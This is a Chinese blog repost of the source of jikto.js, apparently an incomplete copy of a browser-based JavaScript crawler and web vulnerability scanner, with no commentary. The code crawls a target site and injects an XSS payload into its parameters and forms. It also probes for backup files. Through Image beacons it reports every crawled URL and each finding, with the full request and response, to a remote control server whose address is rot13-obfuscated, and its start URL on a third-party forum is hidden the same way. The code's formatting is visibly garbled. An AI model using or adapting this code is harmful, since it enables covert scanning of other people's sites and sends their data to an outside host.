zoukankan      html  css  js  c++  java
  • [转] 貌似不完整的 jikto.js

    //------------------------------------------------------------------------------------ Analyzer
    //
    ------------------------------------------------------------------------------------ Analyzer
    //
    ------------------------------------------------------------------------------------ Analyzer
        
        
    function linkIsGood(l) {
            
    var lower = l.toLowerCase().substring(0,4);
            
    //this is stupid (could false pos), but effective
            if(lower == "java" || lower == "mail"{
                
    return false;
            }

                
            
    var tmpU = Url.resolveRelativeLink(currRequest.url, l);
            
    //do checks here
            if(!fileExtAllowed(tmpU)) {
                
    return false;
            }

            
    if(tmpU.hostname != startUrl.hostname) {
                
    return false;
            }

            
            
    if(tmpU.port != startUrl.port) {
                
    return false;
            }

            
    return true;
        }
       
        
        
        
    function extractHREFsAsRequests(txt) {
            
    var pattern = /href\s*\=\s*(["'])([^'"]*)\1/gi;
            
            
    var links = new Array();
            
    var result;
            
    while( (result = pattern.exec(txt)) != null{
                links.push(result[
    2]);
            }

            
            
    //refine what we RegExed out    
            var requests = new Array();
            
    var counter = 0;
            
    var linklen = links.length;
            
    for(; counter < linklen; counter++{
                
    //clean out the prefix
                links[counter] = links[counter].replace(prefix,"");
                
    if(linkIsGood(links[counter])) {
                    requests.push( Request.fromUrl( Url.resolveRelativeLink(currRequest.url, links[counter]) ));
                }

            }

           
            
    return requests;
        }

        
        
    function fileExtAllowed(u) {
            
    for(var i=0, bfl = badFiles.length; i < bfl; i++{
                
    if(u.fileext.toLowerCase() == badFiles[i]) {
                    
    return false;
                }

            }

            
    return true;
        }
        

        
    function tagParser(text) {

            
    var PRENAME = 0;
            
    var INNAME = 1;
            
    var INPREVALUE = 2;
            
    var INVALUE = 3;

            
    var attribs = new Object();
        
        
            
    var curr = 0;
            
    var len = text.length;
            
            
    var c = "";
            
            
    var state = PRENAME;
            
            
            
    var buff = "";
            
    var name = "";
            
    var quoteChar = "";
            
            
    while(curr < text.length) {
            
                c 
    = text.charAt(curr);
                
                
    switch(state) {
                
                    
    case PRENAME:
                        
    switch(c) {
                        
                            
    case ' ':
                            
    case '\t':
                            
    case '\r':
                            
    case '\n':
                                curr
    ++;
                                
    break;
                            
    default:
                                buff 
    = c;
                                curr
    ++;
                                state 
    = INNAME;
                                
    break;
                        }

                        
    break;
                
                
                    
    case INNAME:
                        
    switch(c) {
                            
    case '=':
                                
    //= so name is done
                                name = trim(buff).toLowerCase();
                                buff 
    = "";
                                quoteChar 
    = "";
                                curr
    ++;
                                state 
    = INPREVALUE;
                                
    break;
                            
    default:
                                buff 
    += c;
                                curr
    ++;
                                
    break;
                        }

                        
    break;
                    
                   
    case INPREVALUE:
                        
    switch(c) {
                            
    case ' ':
                            
    case '\t':
                                
    //ignore it
                                curr++;
                                
    break;
                            
    case "\'":
                            
    case "\"":
                                quoteChar = c;
                                curr++;
                                state = INVALUE;
                                break;
                            default:
                                //anything is a value
                                quoteChar = 
    "";
                                buff += c;
                                curr++;
                                state = INVALUE;
                                break;
                        }
                        break;                    
                                
                
                     case INVALUE:
                        switch(c) {
                            case quoteChar:
                            
                                //all done!
                                attribs[name] = buff;
                                state = PRENAME;
                                curr++;
                                buff = 
    "";
                                break;
                            case ' ':
                            case '\t':
                            case '\r':
                            case '\n':
                                if(quoteChar == 
    "") {
                                    
                                    attribs[name] = buff;
                                    state = PRENAME;
                                    buff = 
    "";
                                }
                                curr++;
                                break;
                            default:
                                buff += c;
                                curr++;
                                break;
                        }
                        break;              
                
                } //end switch
            } //end while
            
            var c = 10;
            return attribs;
        }

        function extractFormsAsRequests(txt) {


            var requests = new Array();

            var lowertxt = txt.toLowerCase();

            //RegEx and results for FORM search
            var pattern = /<form\s+([^>]+)/gi;
            var result;
            
            while( (result = pattern.exec(txt)) != null) {
                
                //parse out attributes for the form tag
                currForm = tagParser(result[1]);

                //setup something for the inputs            
                currForm.inputs = new Array();
                
                //find the 
    "end" tag
                var endp = lowertxt.indexOf(
    "</form", result.index+1);
                
                //grab all that text 
    "inside" thos form
                var inner = txt.substring(result.index, endp);
                
                //grab all the inputs in the form
                var pattern2 = /<input\s+([^>]+)/gi;
                var result2;
                while( (result2 = pattern2.exec(inner)) != null) {
                
                    //parse out the attributes
                    currForm.inputs[currForm.inputs.length] = tagParser(result2[1]);
                }
                
                //needs some inputs and an action
                if(currForm.inputs.length > 0 && currForm.action != undefined) {
                
                    if(linkIsGood(currForm.action)) {
                
                        var u = Url.resolveRelativeLink(currRequest.url, currForm.action);
                
                        if(currForm.method != undefined && currForm.method.toLowerCase() == 
    "post") {
                            var req = Request.fromUrl(u);
                            req.method = 
    "POST";
                            req.data = buildParamString(currForm.inputs);
                            requests[requests.length] = req;
                        } else {
                            u.queryParams = buildParamString(currForm.inputs);
                            requests[requests.length] = Request.fromUrl(u);
                        }
                    }
                }
                
            }
            
            return requests;
            
        }

        function buildParamString(inps) {
        
            var ret = new Array();
            
            var seen = new Object();
            
            for(var i =0; i < inps.length; i++) {
                if(inps[i].name != undefined && seen[inps[i].name] == undefined) {
                
                    seen[inps[i].name] = true;
                
                    if(inps[i].value != undefined) {
                        ret[ret.length] = new NVPair(inps[i].name, inps[i].value);
                    } else {
                        ret[ret.length] = new NVPair(inps[i].name, 
    "admin");                
                    }
                }
            }
            return ret;
        }


    //------------------------------------------------------------------------------------ Attack Lib
    //------------------------------------------------------------------------------------ Attack Lib
    //------------------------------------------------------------------------------------ Attack Lib

    function generateBackupAttacks(request) {

        var requests = new Array();

        var newreq = new cloneObject(request);
        newreq.url.filename += 
    ".bak";
        newreq.url.queryParams = new Array();
        newreq.data = 
    "";
        newreq.method = 
    "GET";
        newreq.origin = 
    "audit";
        newreq.title = 
    "Backup File Detected!";
        newreq.sev = 50;
        newreq.regex = /HTTP\/1.1\s200\sOK/i;
        
        requests[requests.length] = newreq;

        var newreq = new cloneObject(request);
        newreq.url.filename += 
    ".old";
        newreq.url.queryParams = new Array();
        newreq.data = 
    "";
        newreq.method = 
    "GET";
        newreq.origin = 
    "audit";
        newreq.title = 
    "Backup File Detected!";
        newreq.sev = 50;
        newreq.regex = /HTTP\/1.1\s200\sOK/i;
        requests[requests.length] = newreq;

        return requests;

    }

    function generatePPASSAttacks(request) {

        var requests = new Array();
        

        if(request.method == 
    "GET" && request.url.queryParams.length > 0) {
       
            var newreq = new cloneObject(request);
            
            newreq.url.queryParams = new Array();
            for(var xxx=0; xxx < request.url.queryParams.length; xxx++) {
            
                newreq.url.queryParams[xxx] = new NVPair(request.url.queryParams[xxx].name,
    "<script>alert('xss')</script>");
            
            
            }
            newreq.origin = 
    "audit";
            newreq.title = 
    "Cross Site Scripting";
            newreq.sev = 100;
            newreq.regex = /script/i;
            requests[requests.length] = newreq;
        } else if(request.method == 
    "POST") {
        
        
            var t = request.data.length > 0;
        
            var newreq = new cloneObject(request);
            newreq.url.queryParams = new Array();
            newreq.data = new Array();
            
                newreq.data[0] = new NVPair(
    "admin""<script>alert('xss')</script>");
                newreq.data[1] = new NVPair(
    "password""<script>alert('xss')</script>");
                newreq.data[2] = new NVPair(
    "graphicOption""<script>alert('xss')</script>");
            
            newreq.origin = 
    "audit";
            newreq.title = 
    "Cross Site Scripting";
            newreq.sev = 100;
            newreq.regex = /script/i;
            requests[requests.length] = newreq;
        }
        
        return requests;

    }


    //------------------------------------------------------------------------------------ Global Variables
    //------------------------------------------------------------------------------------ Global Variables
    //------------------------------------------------------------------------------------ Global Variables
      
        var currRequest = null;
        var currResponse = null;
      
      
        //startURL!
        var GUIURL = rot13(
    "uggc://jjj.cragrfg.vg/wvxgb/pbageby.gkg"); //http://www.pentest.it/jikto/control.txt //http://localhost/JiktoControl/Collect.aspx?type=
                                                                                  //uggc://ybpnyubfg/WvxgbPbageby/Pbyyrpg.nfck?glcr=
        var SLASH = String.fromCharCode(47);
        
        
    //prefix for our requests
        var prefix = window.location.pathname.substr(0,window.location.pathname.indexOf("http:"7))
        
        
    //image extensions
        var badFiles = ["jpg""jpeg""gif""png""ico""psd""xcf""xmb""svg""wmv""bmp""pdf""ps""doc""dot""xls""pot""ppt""avi""mpeg""mpg""asf""mov""wmv""rm""mp2""mp3""wma""wav""aiff""aif""mid""midi""mp4""au""ra""exe""pif""bat""msi""swf""class""sh""zip""gz""tar""rar""z""jar""cab""rpm"];

        
    //our requestor!
        var xhr= new XMLHttpRequest();

    //------------------------------------------------------------------------------------ GUI Interface
    //
    ------------------------------------------------------------------------------------ GUI Interface
    //
    ------------------------------------------------------------------------------------ GUI Interface

    //alert("GUI");

        
    function reportURL(method, url) {
            
    var i = new Image();
            i.src 
    = GUIURL + "1&url=" + escape(url) + "&method=" + escape(method);  
        }

        
        
    function reportVuln(method, url, sev, title, req, resp) {
            
    var i = new Image();
            i.src 
    = GUIURL + "2&url=" + escape(url) + "&method=" + escape(method)+ "&sev=" + escape(sev) +"&title=" + escape(title) +"&req=" + escape(req) + "&resp=" + escape(resp);
        }
        

    //------------------------------------------------------------------------------------ Misc Funcs
    //
    ------------------------------------------------------------------------------------ Misc Funcs
    //
    ------------------------------------------------------------------------------------ Misc Funcs


        
    function cloneObject(what) {
            
    for (var i in what) {
            
                
    if(typeof(what[i]) == "object"{
                    
    this[i] = new cloneObject(what[i]);
                }
     else {
                    
    this[i] = what[i];
                }

            }

        }


        
    function rot13(txt) {
          
            
    var ret =""
            
    var len = txt.length;
                
            
    for(var i=0; i < len; i++{
            
                
    var b = txt.charCodeAt(i);
                
    if( ((b>64&& (b<78)) || ((b>96&& (b<110)) ) {
                    b 
    +=13;
                }
     else if( ((b>77&& (b<91)) || ((b>109&& (b<123)) ) {
                    b 
    -=13;
                }

                ret 
    += String.fromCharCode(b);
            }

            
    return ret;
        }


        
    function trim(s) {
            
    return s.replace(/^\s*(\S*(\s+\S+)*)\s*$/"$1");
        }
     

    //------------------------------------------------------------------------------------ Request
    //
    ------------------------------------------------------------------------------------ Request
    //
    ------------------------------------------------------------------------------------ Request

        
    function Request() {
        
            
    this.url = null;
            
    this.method = "";
            
    this.origin = "crawl";
            
    this.data = "";
            
            
    this.title = "xx";
            
    this.regex = "";
            
    this.sev = 0;
        
        }

        
        Request.fromUrl 
    = function(u) {
        
            
    var ret = new Request();
            ret.url 
    = u;
            ret.method 
    = "GET";
            ret.origin 
    = "crawl";
            
    return ret;
        }

        
        Request.prototype.getResource 
    = function () {
            
    return this.url.toString();
        }

        
        Request.prototype.toString 
    = function () {
            
            
    return String.concat(this.method, " "this.getResource(), " HTTP/1.1");
        }


    //------------------------------------------------------------------------------------ Response
    //
    ------------------------------------------------------------------------------------ Response
    //
    ------------------------------------------------------------------------------------ Response

        
    //create a response object from a completely returned XHR obj!
        function Response(x) {

            
    this.status = x.status;
            
    this.statusText = x.statusText;

            
    this.is404 = false;
            
            
    this.headersString = x.getAllResponseHeaders();
            
    //extract the headers into a hash table
            this.headers = new Object();
            
    var tmp = this.headersString.split("\n");
            
    var j;
            
    var k = "";
            
            
    for(var i =0; i < tmp.length; i++{
                j 
    = tmp[i].indexOf(k);
                
    if(j > 0{
                    
    this.headers[tmp[i].substring(0, j)] = tmp[i].substring(j + 2, tmp[i].length);
                }

            }

            
            
    this.body = x.responseText;
            
    return this;
                
        }


        
    function Response_toString() {
            
    var s="";
            
    var i;
            s 
    = String.concat(s, "HTTP/1.1 "this.status, " "this.statusText, "\n");
            
            
    for (i in this.headers) {
                
                s 
    = String.concat(s, i, ""this.headers[i], "\n");
            }


            s 
    = String.concat(s, this.data);
            
    return s;
        }


        Response.prototype.toString 
    = Response_toString;

    //------------------------------------------------------------------------------------ Scanner
    //
    ------------------------------------------------------------------------------------ Scanner
    //
    ------------------------------------------------------------------------------------ Scanner
        
        
    var pending = new Object();
        
    var pendingLen = 0;
        
        
    var visited = new Object();
        
        
    function addRequest(r) {
        
            
    if(r  != undefined) {
        
                
    if(pending[r.toString()] == undefined) {
                    
    if(visited[r.toString()] == undefined) {
                        pending[r.toString()] 
    = r;
                        pendingLen
    ++;
                        
    return true;
                    }

                }

                
    return false;
            }

        }

          
        
    function processResponse() {
            
            
    // only if req shows "loaded"
            if (xhr.readyState == 4{
                
    //send reponse off
                
                currResponse 
    = new Response(xhr);
                
                
                
                
                
    if(currResponse.status == 200{
                    reportURL(currRequest.method, currRequest.getResource());
                }

                
                
    var requests = null;
                
                
    //grab any requests from HREFs
                requests = extractHREFsAsRequests(currResponse.body);
                
    var requests2 = extractFormsAsRequests(currResponse.body);
                
                
    if(requests2.length > 0{
                
                    requests 
    = requests.concat(requests2);
                }

               
               
    if(requests.length > 0{
                
                    
    //bubble up the GUI and add them (if needed)
                    for(var i =0; i < requests.length; i++)
                    
    {
                        addRequest(requests[i]);
                
                        
    //================= Generate Attacks
                        
                        requests2 
    = generateBackupAttacks(requests[i]);
                        
                        
    //requests2 = (generatePPASSAttacks(requests[i]));
                        requests2 = requests2.concat(generatePPASSAttacks(requests[i]));
                        
                        
                        
    if(requests2.length > 0{
                        
                            
    for(var k =0; k < requests2.length; k++)
                            
    {
                                addRequest(requests2[k]);
                            }

                        
                        }

                    }

                }


                
    if(xhr.responseText.indexOf("xss"> 0{
                    
                    
                    reportVuln(currRequest.method, currRequest.getResource(), 
    100"Cross Site Scripting", currRequest.toString(), currResponse.toString());
                }



                
                
                
    //==============score attacks here
                if(currRequest.origin == "audit"{
                
                    
    if(currResponse.toString().match(currRequest.regex)) {
                    
                    
                        reportVuln(currRequest.method, currRequest.getResource(), currRequest.sev, currRequest.title, currRequest.toString(), currResponse.toString());
                    }

                    
                
                
                }

                
                
                sendNextRequest();
            }

        }

        
        
        
    function sendNextRequest() {
            
            
    if(pendingLen == 0{
                
    //toGUI("Scan Complete!");
                return true;
            }


           
    //grab the first Request
            for(i in pending) {
                currRequest 
    = pending[i];
                
    break;
            }

     
            
    //remove it from the queue       
            delete pending[currRequest.toString()];
            pendingLen
    --;
            
            
    //add it to visited
            visited[currRequest.toString()] = true;
            
            
    //clear out the old response obj
            currResponse = null;
            
            xhr 
    = new XMLHttpRequest();

            
    var data = "";

            
    //register the handler function
            xhr.onreadystatechange = processResponse;

            xhr.open(currRequest.method, prefix 
    + currRequest.getResource(), true);
            
            
    if(currRequest.method == "POST"{
            
                data 
    = currRequest.data.join("&");
                xhr.setRequestHeader(
    "Content-type""application/x-www-form-urlencoded");
                xhr.setRequestHeader(
    "Content-length", data.length);
                
    //http.setRequestHeader("Connection", "close");        
            }
     
            
            
    //add our magic header
            xhr.setRequestHeader('X-Hax0r', 'Acidus');

            xhr.send(data);
        }

        
    //------------------------------------------------------------------------------------ URL Object
    //
    ------------------------------------------------------------------------------------ URL Object
    //
    ------------------------------------------------------------------------------------ URL Object

        
    function NVPair(n, v) {
            
    this.name = n;
            
    this.value = v;
            
            
    return this;
        }


        NVPair.prototype.toString 
    = function() {
            
    return String.concat(escape(this.name), "=", escape(this.value));
        }

        
        
    function setParamValue(name, value, ar) {
        
            
    for (var yyy in ar.length) {
            
                
    if(ar[yyy].name != undefined) {
                    
    if(ar[yyy].name == name) {
                        ar[yyy].value 
    = value;
                        
    break;
                    }

                }

            }

            
    return ar;    
        }

            
        
    function getParamArray(qs) {

            
    var ret = new Array();

            
    var nvp = qs.split("&");
            
    for(var i=0; i < nvp.length; i++{

                
    var tmp = nvp[i].split("=");
                
    if(tmp.length == 1{
                    ret[ret.length] 
    = new NVPair(unescape(tmp[0]), "");
                }
     else if(tmp.length == 2{
                    ret[ret.length] 
    = new NVPair(unescape(tmp[0]), unescape(tmp[1]));
                }

            }

            
    return ret;
        }

        
        
    function Url(url) {
            
            
    this.protocol = "";

            
    this.hostname = "";
            
    this.port = "";
            
    this.path = "";
            
    this.filename="";    
            
    this.fileext="";
            
    this.frag ="";
            
            
    this.queryParams = new Array();
            
            
    if(arguments.length == 1{
                
                
    var tmp;
                
    var rest;
                
    //grab the fraq
                tmp = url.split("#");
                rest 
    = tmp[0];
                
    this.frag= (tmp.length > 1? unescape(String.concat("#",tmp[1])) : "";

                
    //grab the query string
                tmp = rest.split("?");
                rest 
    = tmp[0];
                
                
    if(tmp.length > 1{
                    
    this.queryParams = getParamArray(tmp[1]);
                }

                
    //grab the protocol
                tmp = rest.split("//");
                
    if(tmp.length > 1{
                    tmp[
    0= unescape(tmp[0]);
                    
    this.protocol = tmp[0].substring(0,tmp[0].length-1).toLowerCase();              
                    rest 
    = tmp[1];
                }
     else {
                    
    //alert("Invalid url \"" + url + "\"");
                    throw "Invalid URL";
                }

                
                
    //grab the host
                tmp = rest.split(SLASH);
                
                
    if(tmp.length > 1{
                    
    //get rid of hostname
                    this.hostname = unescape(tmp.shift()).toLowerCase();
                    
                    
    //only 1 thing left, which is the filename
                    if(tmp.length == 1{
                        
    this.filename = unescape(tmp[0]);
                        
    this.path = SLASH;
                    }
     else {
                        
    //filename is at the end
                        this.filename = unescape(tmp.pop());
                        
    //recombine and add leading and trailing slashes
                        
                        
    for(var i =0; i < tmp.length; i++{
                            tmp[i] 
    = unescape(tmp[i]);
                        }

                        
                        
    for(var i = 0; i < tmp.length; i++{
                            
                            
    if(tmp[i] == "."{
                                tmp.splice(i, 
    1);
                                i 
    = i -1;
                            }
     else if(tmp[i] == ".."{
                                
    if(i == 0{
                                    
    //more /../ than directories
                                    //alert("Invalid url \"" + url + "\"");
                                    throw "Invalid URL";
                                }

                                tmp.splice(i
    -12);
                                i
    =i-2;
                            }

                        }

                        
    if(tmp.length >=1{
                            
    this.path = String.concat(SLASH, tmp.join(SLASH), SLASH);
                        }
     else {
                            
    this.path = SLASH;
                        }

                    }

                }
     else {
                    
    this.hostname = unescape(tmp[0]);
                    
    this.path = SLASH;            
                }

                
                
    //grab the port
                tmp = this.hostname.split(":");
                
    this.hostname = tmp[0];
                
    this.port = (tmp.length == 2? unescape(tmp[1]) : "";
                
                
    //be smart and fill in the port as needed
                if(this.port.length == 0{
                    
    if(this.protocol == "http")
                        
    this.port = "80";
                    
    else
                        
    this.port = "443";
                }

                
                
    //grab the filename extension
                if(this.filename.length > 0{
                    tmp 
    = this.filename.split(".");
                    
    this.fileext = (tmp.length > 1? tmp.pop() : "";
                }

            }

            
    return this;

        }

        
        Url.prototype.addNV 
    = function(name, value) {
            
    this.queryParams[this.queryParams.length] = new NVPair(name, value);
        }


        
    function Url_resolveRelativeLink(baseUrl, relativeLink) {

            
    if(typeof(baseUrl) == "string"{
                baseUrl 
    = new Url(baseUrl);
            }


            
    //is it relative?
            if(unescape(relativeLink).indexOf("://"> 0{
                
    return new Url(relativeLink);
            }

            
    //alert("BASE IS: " + baseUrl);
            
            
    var s;
            
    //set up our base
            s = String.concat(baseUrl.protocol,
                              
    "://",
                              baseUrl.hostname,
                              (baseUrl.port.length 
    > 0? ":" + baseUrl.port : "");
            
    if(relativeLink.substring(0,1== SLASH) {
                
    //link is relative to site root, so directly concat
                
                s 
    = String.concat(s, relativeLink);
            }
     else {
                
    //link is relative to current path
                
                s 
    = String.concat(s, baseUrl.path, relativeLink);
            }

            
            
    return new Url(s);
        }


        
    function Url_toString() {

            
    return String.concat(this.protocol,
                          
    "://",
                          
    this.hostname,
                          (
    this.port.length > 0? ":" + this.port : "",
                          
    this.path,
                          
    this.filename,
                          (
    this.queryParams.length > 0? "?" + this.queryParams.join("&") : "",
                          
    this.frag);

        }


        
    function Url_toStringNoPath() {

            
    return String.concat(this.protocol,
                          
    "://",
                          
    this.hostname,
                          (
    this.port.length > 0? ":" + this.port : "");
        }


        Url.prototype.toString 
    = Url_toString;
        Url.prototype.toStringNoPath 
    = Url_toStringNoPath;
        Url.resolveRelativeLink 
    = Url_resolveRelativeLink;    
        
    //------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    //
    ------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    //
    ------------------------------------------------------------------------------------------------------------------------------------------------------------------------

    //var startUrlString = rot13("uggc://mreb.jronccfrphevgl.pbz/");
    var startUrlString = rot13("uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc");  //http://blackhat-forums.com/phpBB2/index.php   uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc
    //
    var startUrlString = rot13("");
    var startUrl = new Url(startUrlString);
    //queue up first request
    addRequest(Request.fromUrl(startUrl));
    //let 'er rip!
    sendNextRequest();
  • 相关阅读:
    leetcode Majority Element
    Missing Number 三种解法
    Effective C++学习笔记 chapter 1
    C++ 笔记
    三色排序
    归并排序-就地排序
    506,display有哪些值?说明他们的作用
    505,display,float,position之间的关系(有疑问)
    504,什么是FOUC?怎么避免
    503,display:none;与visibility:hidden;的区别
  • 原文地址:https://www.cnblogs.com/temptation/p/815024.html
Copyright © 2011-2022 走看看